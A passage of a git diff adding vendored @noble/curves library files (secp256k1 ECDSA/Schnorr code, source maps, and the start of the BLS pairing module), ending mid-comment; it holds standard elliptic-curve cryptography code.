Hex, isCompressed?: boolean | undefined) => Uint8Array; + sign: (msgHash: Hex, privKey: PrivKey, opts?: import("./abstract/weierstrass.js").SignOpts | undefined) => import("./abstract/weierstrass.js").RecoveredSignatureType; + verify: (signature: Hex | { + r: bigint; + s: bigint; + }, msgHash: Hex, publicKey: Hex, opts?: import("./abstract/weierstrass.js").VerOpts | undefined) => boolean; + ProjectivePoint: import("./abstract/weierstrass.js").ProjConstructor; + Signature: import("./abstract/weierstrass.js").SignatureConstructor; + utils: { + normPrivateKeyToScalar: (key: PrivKey) => bigint; + isValidPrivateKey(privateKey: PrivKey): boolean; + randomPrivateKey: () => Uint8Array; + precompute: (windowSize?: number | undefined, point?: PointType | undefined) => PointType; + }; +}>; +declare function taggedHash(tag: string, ...messages: Uint8Array[]): Uint8Array; +/** + * lift_x from BIP340. Convert 32-byte x coordinate to elliptic curve point. + * @returns valid point checked for being on-curve + */ +declare function lift_x(x: bigint): PointType; +/** + * Schnorr public key is just `x` coordinate of Point as per BIP340. + */ +declare function schnorrGetPublicKey(privateKey: Hex): Uint8Array; +/** + * Creates Schnorr signature as per BIP340. Verifies itself before returning anything. + * auxRand is optional and is not the sole source of k generation: bad CSPRNG won't be dangerous. + */ +declare function schnorrSign(message: Hex, privateKey: PrivKey, auxRand?: Hex): Uint8Array; +/** + * Verifies Schnorr signature. + * Will swallow errors & return false except for initial type validation of arguments. + */ +declare function schnorrVerify(signature: Hex, message: Hex, publicKey: Hex): boolean; +export declare const schnorr: { + getPublicKey: typeof schnorrGetPublicKey; + sign: typeof schnorrSign; + verify: typeof schnorrVerify; + utils: { + randomPrivateKey: () => Uint8Array; + lift_x: typeof lift_x; + pointToBytes: (point: PointType) => Uint8Array; + numberToBytesBE: typeof numberToBytesBE; + bytesToNumberBE: typeof bytesToNumberBE; + taggedHash: typeof taggedHash; + mod: typeof mod; + }; +}; +export declare const hashToCurve: (msg: Uint8Array, options?: import("./abstract/hash-to-curve.js").htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +export declare const encodeToCurve: (msg: Uint8Array, options?: import("./abstract/hash-to-curve.js").htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +export {}; +//# sourceMappingURL=secp256k1.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/secp256k1.d.ts.map b/node_modules/@noble/curves/secp256k1.d.ts.map new file mode 100644 index 000000000000..c6ddafc7ae69 --- /dev/null +++ b/node_modules/@noble/curves/secp256k1.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"secp256k1.d.ts","sourceRoot":"","sources":["src/secp256k1.ts"],"names":[],"mappings":"AAGA,OAAO,EAAS,GAAG,EAAQ,MAAM,uBAAuB,CAAC;AACzD,OAAO,EAAE,aAAa,IAAI,SAAS,EAAuB,MAAM,2BAA2B,CAAC;AAC5F,OAAO,KAAK,EAAE,GAAG,EAAE,OAAO,EAAE,MAAM,qBAAqB,CAAC;AACxD,OAAO,EAAE,eAAe,EAA4B,eAAe,EAAE,MAAM,qBAAqB,CAAC;AAwCjG,eAAO,MAAM,SAAS;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;EA2CrB,CAAC;AASF,iBAAS,UAAU,CAAC,GAAG,EAAE,MAAM,EAAE,GAAG,QAAQ,EAAE,UAAU,EAAE,GAAG,UAAU,CAQtE;AAkBD;;;GAGG;AACH,iBAAS,MAAM,CAAC,CAAC,EAAE,MAAM,GAAG,SAAS,CAAC,MAAM,CAAC,CAS5C;AAQD;;GAEG;AACH,iBAAS,mBAAmB,CAAC,UAAU,EAAE,GAAG,GAAG,UAAU,CAExD;AAED;;;GAGG;AACH,iBAAS,WAAW,CAClB,OAAO,EAAE,GAAG,EACZ,UAAU,EAAE,OAAO,EACnB,OAAO,GAAE,GAAqB,GAC7B,UAAU,CAgBZ;AAED;;;GAGG;AACH,iBAAS,aAAa,CAAC,SAAS,EAAE,GAAG,EAAE,OAAO,EAAE,GAAG,EAAE,SAAS,EAAE,GAAG,GAAG,OAAO,CAiB5E;AAED,eAAO,MAAM,OAAO;;;;;;;8BA5FS,UAAU,MAAM,CAAC;;;;;;CAyGzC,CAAC;AA0DN,eAAO,MAAM,WAAW,uJAA4C,CAAC;AACrE,eAAO,MAAM,aAAa,uJAA8C,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/secp256k1.js b/node_modules/@noble/curves/secp256k1.js new file mode 100644 index 000000000000..463edccbbcb7 --- /dev/null +++ b/node_modules/@noble/curves/secp256k1.js @@ -0,0 +1,257 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.encodeToCurve = exports.hashToCurve = exports.schnorr = exports.secp256k1 = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const sha256_1 = require("@noble/hashes/sha256"); +const utils_1 = require("@noble/hashes/utils"); +const modular_js_1 = require("./abstract/modular.js"); +const weierstrass_js_1 = require("./abstract/weierstrass.js"); +const utils_js_1 = require("./abstract/utils.js"); +const hash_to_curve_js_1 = require("./abstract/hash-to-curve.js"); +const _shortw_utils_js_1 = require("./_shortw_utils.js"); +const secp256k1P = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f'); +const secp256k1N = BigInt('0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141'); +const _1n = BigInt(1); +const _2n = BigInt(2); +const divNearest = (a, b) => (a + b / _2n) / b; +/** + * √n = n^((p+1)/4) for fields p = 3 mod 4. We unwrap the loop and multiply bit-by-bit. + * (P+1n/4n).toString(2) would produce bits [223x 1, 0, 22x 1, 4x 0, 11, 00] + */ +function sqrtMod(y) { + const P = secp256k1P; + // prettier-ignore + const _3n = BigInt(3), _6n = BigInt(6), _11n = BigInt(11), _22n = BigInt(22); + // prettier-ignore + const _23n = BigInt(23), _44n = BigInt(44), _88n = BigInt(88); + const b2 = (y * y * y) % P; // x^3, 11 + const b3 = (b2 * b2 * y) % P; // x^7 + const b6 = ((0, modular_js_1.pow2)(b3, _3n, P) * b3) % P; + const b9 = ((0, modular_js_1.pow2)(b6, _3n, P) * b3) % P; + const b11 = ((0, modular_js_1.pow2)(b9, _2n, P) * b2) % P; + const b22 = ((0, modular_js_1.pow2)(b11, _11n, P) * b11) % P; + const b44 = ((0, modular_js_1.pow2)(b22, _22n, P) * b22) % P; + const b88 = ((0, modular_js_1.pow2)(b44, _44n, P) * b44) % P; + const b176 = ((0, modular_js_1.pow2)(b88, _88n, P) * b88) % P; + const b220 = ((0, modular_js_1.pow2)(b176, _44n, P) * b44) % P; + const b223 = ((0, modular_js_1.pow2)(b220, _3n, P) * b3) % P; + const t1 = ((0, modular_js_1.pow2)(b223, _23n, P) * b22) % P; + const t2 = ((0, modular_js_1.pow2)(t1, _6n, P) * b2) % P; + const root = (0, modular_js_1.pow2)(t2, _2n, P); + if (!Fp.eql(Fp.sqr(root), y)) + throw new Error('Cannot find square root'); + return root; +} +const Fp = (0, modular_js_1.Field)(secp256k1P, undefined, undefined, { sqrt: sqrtMod }); +exports.secp256k1 = (0, _shortw_utils_js_1.createCurve)({ + a: BigInt(0), + b: BigInt(7), + Fp, + n: secp256k1N, + // Base point (x, y) aka generator point + Gx: BigInt('55066263022277343669578718895168534326250603453777594175500187360389116729240'), + Gy: BigInt('32670510020758816978083085130507043184471273380659243275938904335757337482424'), + h: BigInt(1), + lowS: true, + /** + * secp256k1 belongs to Koblitz curves: it has efficiently computable endomorphism. + * Endomorphism uses 2x less RAM, speeds up precomputation by 2x and ECDH / key recovery by 20%. + * For precomputed wNAF it trades off 1/2 init time & 1/3 ram for 20% perf hit. + * Explanation: https://gist.github.com/paulmillr/eb670806793e84df628a7c434a873066 + */ + endo: { + beta: BigInt('0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee'), + splitScalar: (k) => { + const n = secp256k1N; + const a1 = BigInt('0x3086d221a7d46bcde86c90e49284eb15'); + const b1 = -_1n * BigInt('0xe4437ed6010e88286f547fa90abfe4c3'); + const a2 = BigInt('0x114ca50f7a8e2f3f657c1108d9d44cfd8'); + const b2 = a1; + const POW_2_128 = BigInt('0x100000000000000000000000000000000'); // (2n**128n).toString(16) + const c1 = divNearest(b2 * k, n); + const c2 = divNearest(-b1 * k, n); + let k1 = (0, modular_js_1.mod)(k - c1 * a1 - c2 * a2, n); + let k2 = (0, modular_js_1.mod)(-c1 * b1 - c2 * b2, n); + const k1neg = k1 > POW_2_128; + const k2neg = k2 > POW_2_128; + if (k1neg) + k1 = n - k1; + if (k2neg) + k2 = n - k2; + if (k1 > POW_2_128 || k2 > POW_2_128) { + throw new Error('splitScalar: Endomorphism failed, k=' + k); + } + return { k1neg, k1, k2neg, k2 }; + }, + }, +}, sha256_1.sha256); +// Schnorr signatures are superior to ECDSA from above. Below is Schnorr-specific BIP0340 code. +// https://github.com/bitcoin/bips/blob/master/bip-0340.mediawiki +const _0n = BigInt(0); +const fe = (x) => typeof x === 'bigint' && _0n < x && x < secp256k1P; +const ge = (x) => typeof x === 'bigint' && _0n < x && x < secp256k1N; +/** An object mapping tags to their tagged hash prefix of [SHA256(tag) | SHA256(tag)] */ +const TAGGED_HASH_PREFIXES = {}; +function taggedHash(tag, ...messages) { + let tagP = TAGGED_HASH_PREFIXES[tag]; + if (tagP === undefined) { + const tagH = (0, sha256_1.sha256)(Uint8Array.from(tag, (c) => c.charCodeAt(0))); + tagP = (0, utils_js_1.concatBytes)(tagH, tagH); + TAGGED_HASH_PREFIXES[tag] = tagP; + } + return (0, sha256_1.sha256)((0, utils_js_1.concatBytes)(tagP, ...messages)); +} +// ECDSA compact points are 33-byte. Schnorr is 32: we strip first byte 0x02 or 0x03 +const pointToBytes = (point) => point.toRawBytes(true).slice(1); +const numTo32b = (n) => (0, utils_js_1.numberToBytesBE)(n, 32); +const modP = (x) => (0, modular_js_1.mod)(x, secp256k1P); +const modN = (x) => (0, modular_js_1.mod)(x, secp256k1N); +const Point = exports.secp256k1.ProjectivePoint; +const GmulAdd = (Q, a, b) => Point.BASE.multiplyAndAddUnsafe(Q, a, b); +// Calculate point, scalar and bytes +function schnorrGetExtPubKey(priv) { + let d_ = exports.secp256k1.utils.normPrivateKeyToScalar(priv); // same method executed in fromPrivateKey + let p = Point.fromPrivateKey(d_); // P = d'⋅G; 0 < d' < n check is done inside + const scalar = p.hasEvenY() ? d_ : modN(-d_); + return { scalar: scalar, bytes: pointToBytes(p) }; +} +/** + * lift_x from BIP340. Convert 32-byte x coordinate to elliptic curve point. + * @returns valid point checked for being on-curve + */ +function lift_x(x) { + if (!fe(x)) + throw new Error('bad x: need 0 < x < p'); // Fail if x ≥ p. + const xx = modP(x * x); + const c = modP(xx * x + BigInt(7)); // Let c = x³ + 7 mod p. + let y = sqrtMod(c); // Let y = c^(p+1)/4 mod p. + if (y % _2n !== _0n) + y = modP(-y); // Return the unique point P such that x(P) = x and + const p = new Point(x, y, _1n); // y(P) = y if y mod 2 = 0 or y(P) = p-y otherwise. + p.assertValidity(); + return p; +} +/** + * Create tagged hash, convert it to bigint, reduce modulo-n. + */ +function challenge(...args) { + return modN((0, utils_js_1.bytesToNumberBE)(taggedHash('BIP0340/challenge', ...args))); +} +/** + * Schnorr public key is just `x` coordinate of Point as per BIP340. + */ +function schnorrGetPublicKey(privateKey) { + return schnorrGetExtPubKey(privateKey).bytes; // d'=int(sk). Fail if d'=0 or d'≥n. Ret bytes(d'⋅G) +} +/** + * Creates Schnorr signature as per BIP340. Verifies itself before returning anything. + * auxRand is optional and is not the sole source of k generation: bad CSPRNG won't be dangerous. + */ +function schnorrSign(message, privateKey, auxRand = (0, utils_1.randomBytes)(32)) { + const m = (0, utils_js_1.ensureBytes)('message', message); + const { bytes: px, scalar: d } = schnorrGetExtPubKey(privateKey); // checks for isWithinCurveOrder + const a = (0, utils_js_1.ensureBytes)('auxRand', auxRand, 32); // Auxiliary random data a: a 32-byte array + const t = numTo32b(d ^ (0, utils_js_1.bytesToNumberBE)(taggedHash('BIP0340/aux', a))); // Let t be the byte-wise xor of bytes(d) and hash/aux(a) + const rand = taggedHash('BIP0340/nonce', t, px, m); // Let rand = hash/nonce(t || bytes(P) || m) + const k_ = modN((0, utils_js_1.bytesToNumberBE)(rand)); // Let k' = int(rand) mod n + if (k_ === _0n) + throw new Error('sign failed: k is zero'); // Fail if k' = 0. + const { bytes: rx, scalar: k } = schnorrGetExtPubKey(k_); // Let R = k'⋅G. + const e = challenge(rx, px, m); // Let e = int(hash/challenge(bytes(R) || bytes(P) || m)) mod n. + const sig = new Uint8Array(64); // Let sig = bytes(R) || bytes((k + ed) mod n). + sig.set(rx, 0); + sig.set(numTo32b(modN(k + e * d)), 32); + // If Verify(bytes(P), m, sig) (see below) returns failure, abort + if (!schnorrVerify(sig, m, px)) + throw new Error('sign: Invalid signature produced'); + return sig; +} +/** + * Verifies Schnorr signature. + * Will swallow errors & return false except for initial type validation of arguments. + */ +function schnorrVerify(signature, message, publicKey) { + const sig = (0, utils_js_1.ensureBytes)('signature', signature, 64); + const m = (0, utils_js_1.ensureBytes)('message', message); + const pub = (0, utils_js_1.ensureBytes)('publicKey', publicKey, 32); + try { + const P = lift_x((0, utils_js_1.bytesToNumberBE)(pub)); // P = lift_x(int(pk)); fail if that fails + const r = (0, utils_js_1.bytesToNumberBE)(sig.subarray(0, 32)); // Let r = int(sig[0:32]); fail if r ≥ p. + if (!fe(r)) + return false; + const s = (0, utils_js_1.bytesToNumberBE)(sig.subarray(32, 64)); // Let s = int(sig[32:64]); fail if s ≥ n. + if (!ge(s)) + return false; + const e = challenge(numTo32b(r), pointToBytes(P), m); // int(challenge(bytes(r)||bytes(P)||m))%n + const R = GmulAdd(P, s, modN(-e)); // R = s⋅G - e⋅P + if (!R || !R.hasEvenY() || R.toAffine().x !== r) + return false; // -eP == (n-e)P + return true; // Fail if is_infinite(R) / not has_even_y(R) / x(R) ≠ r. + } + catch (error) { + return false; + } +} +exports.schnorr = (() => ({ + getPublicKey: schnorrGetPublicKey, + sign: schnorrSign, + verify: schnorrVerify, + utils: { + randomPrivateKey: exports.secp256k1.utils.randomPrivateKey, + lift_x, + pointToBytes, + numberToBytesBE: utils_js_1.numberToBytesBE, + bytesToNumberBE: utils_js_1.bytesToNumberBE, + taggedHash, + mod: modular_js_1.mod, + }, +}))(); +const isoMap = /* @__PURE__ */ (() => (0, hash_to_curve_js_1.isogenyMap)(Fp, [ + // xNum + [ + '0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa8c7', + '0x7d3d4c80bc321d5b9f315cea7fd44c5d595d2fc0bf63b92dfff1044f17c6581', + '0x534c328d23f234e6e2a413deca25caece4506144037c40314ecbd0b53d9dd262', + '0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa88c', + ], + // xDen + [ + '0xd35771193d94918a9ca34ccbb7b640dd86cd409542f8487d9fe6b745781eb49b', + '0xedadc6f64383dc1df7c4b2d51b54225406d36b641f5e41bbc52a56612a8c6d14', + '0x0000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], + // yNum + [ + '0x4bda12f684bda12f684bda12f684bda12f684bda12f684bda12f684b8e38e23c', + '0xc75e0c32d5cb7c0fa9d0a54b12a0a6d5647ab046d686da6fdffc90fc201d71a3', + '0x29a6194691f91a73715209ef6512e576722830a201be2018a765e85a9ecee931', + '0x2f684bda12f684bda12f684bda12f684bda12f684bda12f684bda12f38e38d84', + ], + // yDen + [ + '0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffff93b', + '0x7a06534bb8bdb49fd5e9e6632722c2989467c1bfc8e8d978dfb425d2685c2573', + '0x6484aa716545ca2cf3a70c3fa8fe337e0a3d21162f0d6299a7bf8192bfd2a76f', + '0x0000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], +].map((i) => i.map((j) => BigInt(j)))))(); +const mapSWU = /* @__PURE__ */ (() => (0, weierstrass_js_1.mapToCurveSimpleSWU)(Fp, { + A: BigInt('0x3f8731abdd661adca08a5558f0f5d272e953d363cb6f0e5d405447c01a444533'), + B: BigInt('1771'), + Z: Fp.create(BigInt('-11')), +}))(); +const htf = /* @__PURE__ */ (() => (0, hash_to_curve_js_1.createHasher)(exports.secp256k1.ProjectivePoint, (scalars) => { + const { x, y } = mapSWU(Fp.create(scalars[0])); + return isoMap(x, y); +}, { + DST: 'secp256k1_XMD:SHA-256_SSWU_RO_', + encodeDST: 'secp256k1_XMD:SHA-256_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 128, + expand: 'xmd', + hash: sha256_1.sha256, +}))(); +exports.hashToCurve = (() => htf.hashToCurve)(); +exports.encodeToCurve = (() => htf.encodeToCurve)(); +//# sourceMappingURL=secp256k1.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/secp256k1.js.map b/node_modules/@noble/curves/secp256k1.js.map new file mode 100644 index 000000000000..4d76de26dbd8 --- /dev/null +++ b/node_modules/@noble/curves/secp256k1.js.map @@ -0,0 +1 @@ +{"version":3,"file":"secp256k1.js","sourceRoot":"","sources":["src/secp256k1.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,iDAA8C;AAC9C,+CAAkD;AAClD,sDAAyD;AACzD,8DAA4F;AAE5F,kDAAiG;AACjG,kEAAuE;AACvE,yDAAiD;AAEjD,MAAM,UAAU,GAAG,MAAM,CAAC,oEAAo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nC,IAAA,oCAAmB,EAAC,EAAE,EAAE;IACtB,CAAC,EAAE,MAAM,CAAC,oEAAoE,CAAC;IAC/E,CAAC,EAAE,MAAM,CAAC,MAAM,CAAC;IACjB,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;CAC5B,CAAC,CAAC,EAAE,CAAC;AACR,MAAM,GAAG,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE,CAChC,IAAA,+BAAY,EACV,iBAAS,CAAC,eAAe,EACzB,CAAC,OAAiB,EAAE,EAAE;IACpB,MAAM,EAAE,CAAC,EAAE,CAAC,EAAE,GAAG,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;IAC/C,OAAO,MAAM,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC;AACtB,CAAC,EACD;IACE,GAAG,EAAE,gCAAgC;IACrC,SAAS,EAAE,gCAAgC;IAC3C,CAAC,EAAE,EAAE,CAAC,KAAK;IACX,CAAC,EAAE,CAAC;IACJ,CAAC,EAAE,GAAG;IACN,MAAM,EAAE,KAAK;IACb,IAAI,EAAE,eAAM;CACb,CACF,CAAC,EAAE,CAAC;AACM,QAAA,WAAW,GAAmB,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,WAAW,CAAC,EAAE,CAAC;AACxD,QAAA,aAAa,GAAmB,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,aAAa,CAAC,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/src/_shortw_utils.ts b/node_modules/@noble/curves/src/_shortw_utils.ts new file mode 100644 index 000000000000..3ae5ca434d4f --- /dev/null +++ b/node_modules/@noble/curves/src/_shortw_utils.ts @@ -0,0 +1,20 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { hmac } from '@noble/hashes/hmac'; +import { concatBytes, randomBytes } from '@noble/hashes/utils'; +import { weierstrass, CurveType } from './abstract/weierstrass.js'; +import { CHash } from './abstract/utils.js'; + +// connects noble-curves to noble-hashes +export function getHash(hash: CHash) { + return { + hash, + hmac: (key: Uint8Array, ...msgs: Uint8Array[]) => hmac(hash, key, concatBytes(...msgs)), + randomBytes, + }; +} +// Same API as @noble/hashes, with ability to create curve with custom hash +type CurveDef = Readonly>; +export function createCurve(curveDef: CurveDef, defHash: CHash) { + const create = (hash: CHash) => weierstrass({ ...curveDef, ...getHash(hash) }); + return Object.freeze({ ...create(defHash), create }); +} diff --git a/node_modules/@noble/curves/src/abstract/bls.ts b/node_modules/@noble/curves/src/abstract/bls.ts new file mode 100644 index 000000000000..ba4b6b05b5b4 --- /dev/null +++ b/node_modules/@noble/curves/src/abstract/bls.ts @@ -0,0 +1,398 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +/** + * BLS (Barreto-Lynn-Scott) family of pairing-friendly curves. + * Implements BLS (Boneh-Lynn-Shacham) signatures. + * Consists of two curves: G1 and G2: + * - G1 is a subgroup of (x, y) E(Fq) over y² = x³ + 4. + * - G2 is a subgroup of ((x₁, x₂+i), (y₁, y₂+i)) E(Fq²) over y² = x³ + 4(1 + i) where i is √-1 + * - Gt, created by bilinear (ate) pairing e(G1, G2), consists of p-th roots of unity in + * Fq^k where k is embedding degree. Only degree 12 is currently supported, 24 is not. + * Pairing is used to aggregate and verify signatures. + * We are using Fp for private keys (shorter) and Fp₂ for signatures (longer). + * Some projects may prefer to swap this relation, it is not supported for now. + */ +import { AffinePoint } from './curve.js'; +import { IField, getMinHashLength, mapHashToField } from './modular.js'; +import { Hex, PrivKey, CHash, bitLen, bitGet, ensureBytes } from './utils.js'; +import * as htf from './hash-to-curve.js'; +import { + CurvePointsType, + ProjPointType as ProjPointType, + CurvePointsRes, + weierstrassPoints, +} from './weierstrass.js'; + +type Fp = bigint; // Can be different field? + +// prettier-ignore +const _2n = BigInt(2), _3n = BigInt(3); + +export type SignatureCoder = { + fromHex(hex: Hex): ProjPointType; + toRawBytes(point: ProjPointType): Uint8Array; + toHex(point: ProjPointType): string; +}; + +export type CurveType = { + G1: Omit, 'n'> & { + mapToCurve: htf.MapToCurve; + htfDefaults: htf.Opts; + }; + G2: Omit, 'n'> & { + Signature: SignatureCoder; + mapToCurve: htf.MapToCurve; + htfDefaults: htf.Opts; + }; + fields: { + Fp: IField; + Fr: IField; + Fp2: IField & { + reim: (num: Fp2) => { re: bigint; im: bigint }; + multiplyByB: (num: Fp2) => Fp2; + frobeniusMap(num: Fp2, power: number): Fp2; + }; + Fp6: IField; + Fp12: IField & { + frobeniusMap(num: Fp12, power: number): Fp12; + multiplyBy014(num: Fp12, o0: Fp2, o1: Fp2, o4: Fp2): Fp12; + conjugate(num: Fp12): Fp12; + finalExponentiate(num: Fp12): Fp12; + }; + }; + params: { + x: bigint; + r: bigint; + }; + htfDefaults: htf.Opts; + hash: CHash; // Because we need outputLen for DRBG + randomBytes: (bytesLength?: number) => Uint8Array; +}; + +export type CurveFn = { + getPublicKey: (privateKey: PrivKey) => Uint8Array; + sign: { + (message: Hex, privateKey: PrivKey): Uint8Array; + (message: ProjPointType, privateKey: PrivKey): ProjPointType; + }; + verify: ( + signature: Hex | ProjPointType, + message: Hex | ProjPointType, + publicKey: Hex | ProjPointType + ) => boolean; + verifyBatch: ( + signature: Hex | ProjPointType, + messages: (Hex | ProjPointType)[], + publicKeys: (Hex | ProjPointType)[] + ) => boolean; + aggregatePublicKeys: { + (publicKeys: Hex[]): Uint8Array; + (publicKeys: ProjPointType[]): ProjPointType; + }; + aggregateSignatures: { + (signatures: Hex[]): Uint8Array; + (signatures: ProjPointType[]): ProjPointType; + }; + millerLoop: (ell: [Fp2, Fp2, Fp2][], g1: [Fp, Fp]) => Fp12; + pairing: (P: ProjPointType, Q: ProjPointType, withFinalExponent?: boolean) => Fp12; + G1: CurvePointsRes & ReturnType>; + G2: CurvePointsRes & ReturnType>; + Signature: SignatureCoder; + params: { + x: bigint; + r: bigint; + G1b: bigint; + G2b: Fp2; + }; + fields: { + Fp: IField; + Fp2: IField; + Fp6: IField; + Fp12: IField; + Fr: IField; + }; + utils: { + randomPrivateKey: () => Uint8Array; + calcPairingPrecomputes: (p: AffinePoint) => [Fp2, Fp2, Fp2][]; + }; +}; + +export function bls( + CURVE: CurveType +): CurveFn { + // Fields are specific for curve, so for now we'll need to pass them with opts + const { Fp, Fr, Fp2, Fp6, Fp12 } = CURVE.fields; + const BLS_X_LEN = bitLen(CURVE.params.x); + + // Pre-compute coefficients for sparse multiplication + // Point addition and point double calculations is reused for coefficients + function calcPairingPrecomputes(p: AffinePoint) { + const { x, y } = p; + // prettier-ignore + const Qx = x, Qy = y, Qz = Fp2.ONE; + // prettier-ignore + let Rx = Qx, Ry = Qy, Rz = Qz; + let ell_coeff: [Fp2, Fp2, Fp2][] = []; + for (let i = BLS_X_LEN - 2; i >= 0; i--) { + // Double + let t0 = Fp2.sqr(Ry); // Ry² + let t1 = Fp2.sqr(Rz); // Rz² + let t2 = Fp2.multiplyByB(Fp2.mul(t1, _3n)); // 3 * T1 * B + let t3 = Fp2.mul(t2, _3n); // 3 * T2 + let t4 = Fp2.sub(Fp2.sub(Fp2.sqr(Fp2.add(Ry, Rz)), t1), t0); // (Ry + Rz)² - T1 - T0 + ell_coeff.push([ + Fp2.sub(t2, t0), // T2 - T0 + Fp2.mul(Fp2.sqr(Rx), _3n), // 3 * Rx² + Fp2.neg(t4), // -T4 + ]); + Rx = Fp2.div(Fp2.mul(Fp2.mul(Fp2.sub(t0, t3), Rx), Ry), _2n); // ((T0 - T3) * Rx * Ry) / 2 + Ry = Fp2.sub(Fp2.sqr(Fp2.div(Fp2.add(t0, t3), _2n)), Fp2.mul(Fp2.sqr(t2), _3n)); // ((T0 + T3) / 2)² - 3 * T2² + Rz = Fp2.mul(t0, t4); // T0 * T4 + if (bitGet(CURVE.params.x, i)) { + // Addition + let t0 = Fp2.sub(Ry, Fp2.mul(Qy, Rz)); // Ry - Qy * Rz + let t1 = Fp2.sub(Rx, Fp2.mul(Qx, Rz)); // Rx - Qx * Rz + ell_coeff.push([ + Fp2.sub(Fp2.mul(t0, Qx), Fp2.mul(t1, Qy)), // T0 * Qx - T1 * Qy + Fp2.neg(t0), // -T0 + t1, // T1 + ]); + let t2 = Fp2.sqr(t1); // T1² + let t3 = Fp2.mul(t2, t1); // T2 * T1 + let t4 = Fp2.mul(t2, Rx); // T2 * Rx + let t5 = Fp2.add(Fp2.sub(t3, Fp2.mul(t4, _2n)), Fp2.mul(Fp2.sqr(t0), Rz)); // T3 - 2 * T4 + T0² * Rz + Rx = Fp2.mul(t1, t5); // T1 * T5 + Ry = Fp2.sub(Fp2.mul(Fp2.sub(t4, t5), t0), Fp2.mul(t3, Ry)); // (T4 - T5) * T0 - T3 * Ry + Rz = Fp2.mul(Rz, t3); // Rz * T3 + } + } + return ell_coeff; + } + + function millerLoop(ell: [Fp2, Fp2, Fp2][], g1: [Fp, Fp]): Fp12 { + const { x } = CURVE.params; + const Px = g1[0]; + const Py = g1[1]; + let f12 = Fp12.ONE; + for (let j = 0, i = BLS_X_LEN - 2; i >= 0; i--, j++) { + const E = ell[j]; + f12 = Fp12.multiplyBy014(f12, E[0], Fp2.mul(E[1], Px), Fp2.mul(E[2], Py)); + if (bitGet(x, i)) { + j += 1; + const F = ell[j]; + f12 = Fp12.multiplyBy014(f12, F[0], Fp2.mul(F[1], Px), Fp2.mul(F[2], Py)); + } + if (i !== 0) f12 = Fp12.sqr(f12); + } + return Fp12.conjugate(f12); + } + + const utils = { + randomPrivateKey: (): Uint8Array => { + const length = getMinHashLength(Fr.ORDER); + return mapHashToField(CURVE.randomBytes(length), Fr.ORDER); + }, + calcPairingPrecomputes, + }; + + // Point on G1 curve: (x, y) + const G1_ = weierstrassPoints({ n: Fr.ORDER, ...CURVE.G1 }); + const G1 = Object.assign( + G1_, + htf.createHasher(G1_.ProjectivePoint, CURVE.G1.mapToCurve, { + ...CURVE.htfDefaults, + ...CURVE.G1.htfDefaults, + }) + ); + + // Sparse multiplication against precomputed coefficients + // TODO: replace with weakmap? + type withPairingPrecomputes = { _PPRECOMPUTES: [Fp2, Fp2, Fp2][] | undefined }; + function pairingPrecomputes(point: G2): [Fp2, Fp2, Fp2][] { + const p = point as G2 & withPairingPrecomputes; + if (p._PPRECOMPUTES) return p._PPRECOMPUTES; + p._PPRECOMPUTES = calcPairingPrecomputes(point.toAffine()); + return p._PPRECOMPUTES; + } + + // TODO: export + // function clearPairingPrecomputes(point: G2) { + // const p = point as G2 & withPairingPrecomputes; + // p._PPRECOMPUTES = undefined; + // } + + // Point on G2 curve (complex numbers): (x₁, x₂+i), (y₁, y₂+i) + const G2_ = weierstrassPoints({ n: Fr.ORDER, ...CURVE.G2 }); + const G2 = Object.assign( + G2_, + htf.createHasher(G2_.ProjectivePoint as htf.H2CPointConstructor, CURVE.G2.mapToCurve, { + ...CURVE.htfDefaults, + ...CURVE.G2.htfDefaults, + }) + ); + + const { Signature } = CURVE.G2; + + // Calculates bilinear pairing + function pairing(Q: G1, P: G2, withFinalExponent: boolean = true): Fp12 { + if (Q.equals(G1.ProjectivePoint.ZERO) || P.equals(G2.ProjectivePoint.ZERO)) + throw new Error('pairing is not available for ZERO point'); + Q.assertValidity(); + P.assertValidity(); + // Performance: 9ms for millerLoop and ~14ms for exp. + const Qa = Q.toAffine(); + const looped = millerLoop(pairingPrecomputes(P), [Qa.x, Qa.y]); + return withFinalExponent ? Fp12.finalExponentiate(looped) : looped; + } + type G1 = typeof G1.ProjectivePoint.BASE; + type G2 = typeof G2.ProjectivePoint.BASE; + + type G1Hex = Hex | G1; + type G2Hex = Hex | G2; + function normP1(point: G1Hex): G1 { + return point instanceof G1.ProjectivePoint ? (point as G1) : G1.ProjectivePoint.fromHex(point); + } + function normP2(point: G2Hex): G2 { + return point instanceof G2.ProjectivePoint ? point : Signature.fromHex(point); + } + function normP2Hash(point: G2Hex, htfOpts?: htf.htfBasicOpts): G2 { + return point instanceof G2.ProjectivePoint + ? point + : (G2.hashToCurve(ensureBytes('point', point), htfOpts) as G2); + } + + // Multiplies generator by private key. + // P 